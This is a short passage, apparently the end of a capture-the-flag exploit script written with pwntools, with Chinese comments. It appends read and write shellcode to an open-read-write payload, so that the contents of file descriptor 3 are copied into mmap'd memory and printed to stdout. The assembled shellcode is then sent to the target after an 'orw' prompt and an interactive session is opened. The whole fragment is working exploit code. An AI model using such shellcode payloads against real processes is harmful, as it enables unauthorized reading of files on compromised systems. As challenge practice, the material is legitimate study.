orw_payload += shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload += shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节
p.sendlineafter('orw\n', asm(orw_payload))
p.interactive()